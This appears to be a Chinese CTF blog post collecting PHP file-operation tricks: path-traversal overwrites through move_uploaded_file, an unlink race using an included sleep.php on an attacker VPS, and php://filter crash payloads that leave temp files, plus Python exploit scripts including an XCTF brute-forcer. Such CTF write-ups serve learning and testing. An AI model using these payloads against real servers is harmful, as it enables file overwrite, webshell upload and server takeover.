关于php文件操作的几个小trick
<p>记录一些ctf题目中近期遇到的一些文件操作trick,不定时更新</p><h2>1.move_uploaded_file</h2>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805112939851-720755039.png" alt=""></p>
<p>一般用来保存上传的文件,第二个参数一般是最终保存的文件名,针对此函数,若在一定条件下$new_name完全可控,即可以穿越路径,可以对已经存在的文件进行覆盖。</p>
<p>假设正常文件内容如下:<br><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805114523751-995341817.png" alt=""></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$filename</span>=<span style="color: rgba(128, 0, 128, 1)">$_FILES</span>['file']['name'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">var_dump</span>(<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">file_exists</span>(<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "no!"<span style="color: rgba(0, 0, 0, 1)">;
}</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "yes!"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">move_uploaded_file</span>(<span style="color: rgba(128, 0, 128, 1)">$_FILES</span>['file']['tmp_name'],<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">);
}</span></pre>
</div>
<p>exp.py测试:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> requests
files</span>=[(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">'</span>,(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">xx/../over.php</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"><?php phpinfo();?></span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">))]
</span><span style="color: rgba(0, 0, 255, 1)">print</span> requests.post(url=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/test/move.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>,files=files).content</pre>
</div>
<p>假如此时已经有over.php,这种情况下xx/../over.php来覆盖是无效的,这里$filename获取到的还是over.php</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805121106302-1553507388.png" alt=""></p>
<p> 但是此时若代码如下:</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$filename</span>=<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['name'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">var_dump</span>(<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(0, 128, 128, 1)">file_exists</span>(<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "no!"<span style="color: rgba(0, 0, 0, 1)">;
}</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "yes!"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">move_uploaded_file</span>(<span style="color: rgba(128, 0, 128, 1)">$_FILES</span>['file']['tmp_name'],<span style="color: rgba(128, 0, 128, 1)">$filename</span><span style="color: rgba(0, 0, 0, 1)">);
}</span></pre>
</div>
<p>传入的文件名是post传进来的,那么此时xx/../over.php即可达到覆盖的效果。</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805121435626-731072466.png" alt=""></p>
<p>那么over.php/.能不能进行覆盖呢?结果如下:</p>
<p>exp.py</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> requests
files</span>=[(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">'</span>,(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">xx/../over.php</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"><?php phpinfo();?></span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">))]
</span><span style="color: rgba(0, 0, 255, 1)">print</span> requests.post(url=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/test/move.php</span><span style="color: rgba(128, 0, 0, 1)">"</span>,files=files,data={<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">name</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">over.php/.</span><span style="color: rgba(128, 0, 0, 1)">"</span>}).content</pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805121915558-1469995137.png" alt=""></p>
<p>此时虽然绕过了file_exists()函数,此时判断该文件不存在,但是move保存文件时此时会判断文件存在,因此无法覆盖,所以只能用xx/../over.php来绕过,并且一般正常的上传文件流程里文件名都是通过$_FILES['file']['name']来获取的,基本没有直接$_POST文件名来上传。</p>
<h2>2.unlink函数+move_uploaded_file函数</h2>
<p> unlink函数用来删除文件,如果我们已经能够上传webshell,但是后面又有unlink,那么此时第一反应肯定是条件竞争</p>
<p>首先当上传的文件名是 xx/. 或者 xx/../xx.php时 unlink时都会将/前面的视作目录,那么肯定会删除失败,</p>
<p>但是move_uoload_file函数能够直接保存该上传的文件,前提当然是文件名是$_POST方式传入的,这两种文件名都能够生成新的文件。</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190805140911678-1878358259.png" alt=""></p>
<p> 竞争方法:</p>
<p>如果unlink之前存在include($a),并且$a可控,并且allow_url_fopen</p>
<p>$a的值为vps 上的一个 php 脚本,这个脚本只需要 sleep 就行了,比如http://x.x.x.x/sleep.php</p>
<p>sleep.php</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">sleep</span>(9999);</pre>
</div>
<p>然后同时上传文件,并访问文件来getshell</p>
<h2>3.include()</h2>
<p><span style="font-size: 16px"><strong>①php://filter/string.strip_tags</strong></span></p>
<p id="toc-6"><span style="font-size: 16px">php7.0的bug</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">include</span>.php?<span style="color: rgba(0, 128, 128, 1)">file</span>=php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/string.strip_tags/resource=/etc/passwd</span></pre>
</div>
<p>使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell</p>
<p>该方法仅适用于以下php7版本,php5并不存在该崩溃:</p>
<div class="cnblogs_code">
<pre>• php7.0.0-7.1.2可以利用, 7.1.<span style="color: rgba(0, 0, 0, 1)">2x版本的已被修复
• php7</span>.1.3-7.2.1可以利用, 7.2.<span style="color: rgba(0, 0, 0, 1)">1x版本的已被修复
• php7</span>.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复</pre>
</div>
<p><strong><span style="font-size: 18px">②.<code>convert.quoted-printable-encode</code></span></strong></p>
<p>这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数</p>
<div class="cnblogs_code">
<pre>• php7.0.0-7.0.32
• php7.0.4-7.2.12
• php<=5.6.38的版本</pre>
</div>
<p>5.6.39-5.6.9以内的版本并不存在这个崩溃</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span><span style="color: rgba(0, 0, 0, 1)">);
payload</span>:<span style="color: rgba(0, 0, 0, 1)">
index</span>.php?a=php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/convert.quoted-printable-encode/resource=/etc/passwd</span></pre>
</div>
<p>在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。</p>
<p>放一个xctf final的exp:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">!/usr/bin/env python</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)"> -*- coding: utf-8 -*-</span>
<span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> requests
</span><span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> string
charset </span>= string.digits +<span style="color: rgba(0, 0, 0, 1)"> string.letters
host </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">10.99.99.16</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
port </span>= 80<span style="color: rgba(0, 0, 0, 1)">
base_url </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://%s:%d</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> (host, port)
</span><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> brute_force_tmp_files():
</span><span style="color: rgba(0, 0, 255, 1)">for</span> i <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
</span><span style="color: rgba(0, 0, 255, 1)">for</span> j <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
</span><span style="color: rgba(0, 0, 255, 1)">for</span> k <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
</span><span style="color: rgba(0, 0, 255, 1)">for</span> l <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
</span><span style="color: rgba(0, 0, 255, 1)">for</span> m <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
</span><span style="color: rgba(0, 0, 255, 1)">for</span> n <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> charset:
filename </span>= i + j + k + l + m +<span style="color: rgba(0, 0, 0, 1)"> n
url </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">%s/index.php?function=extract&file=/tmp/php%s</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> (base_url, filename) #url根据实际情况改下参数就行
</span><span style="color: rgba(0, 0, 255, 1)">print</span><span style="color: rgba(0, 0, 0, 1)"> url
</span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
response </span>=<span style="color: rgba(0, 0, 0, 1)"> requests.get(url)
</span><span style="color: rgba(0, 0, 255, 1)">if</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">wwwwwwwwwwwwww</span><span style="color: rgba(128, 0, 0, 1)">'</span> <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> response.content: #可以利用burp 多线程上传文件
</span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">[+] Include success!</span><span style="color: rgba(128, 0, 0, 1)">"</span>
<span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> True
</span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> Exception as e:
</span><span style="color: rgba(0, 0, 255, 1)">print</span><span style="color: rgba(0, 0, 0, 1)"> e
</span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> False
</span><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> main():
brute_force_tmp_files()
</span><span style="color: rgba(0, 0, 255, 1)">if</span> <span style="color: rgba(128, 0, 128, 1)">__name__</span> == <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">__main__</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">:
main()</span></pre>
</div>
<p>③自包含</p>
<p>也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。</p><br><br>
来源:https://www.cnblogs.com/tr1ple/p/11301743.html
頁:
[1]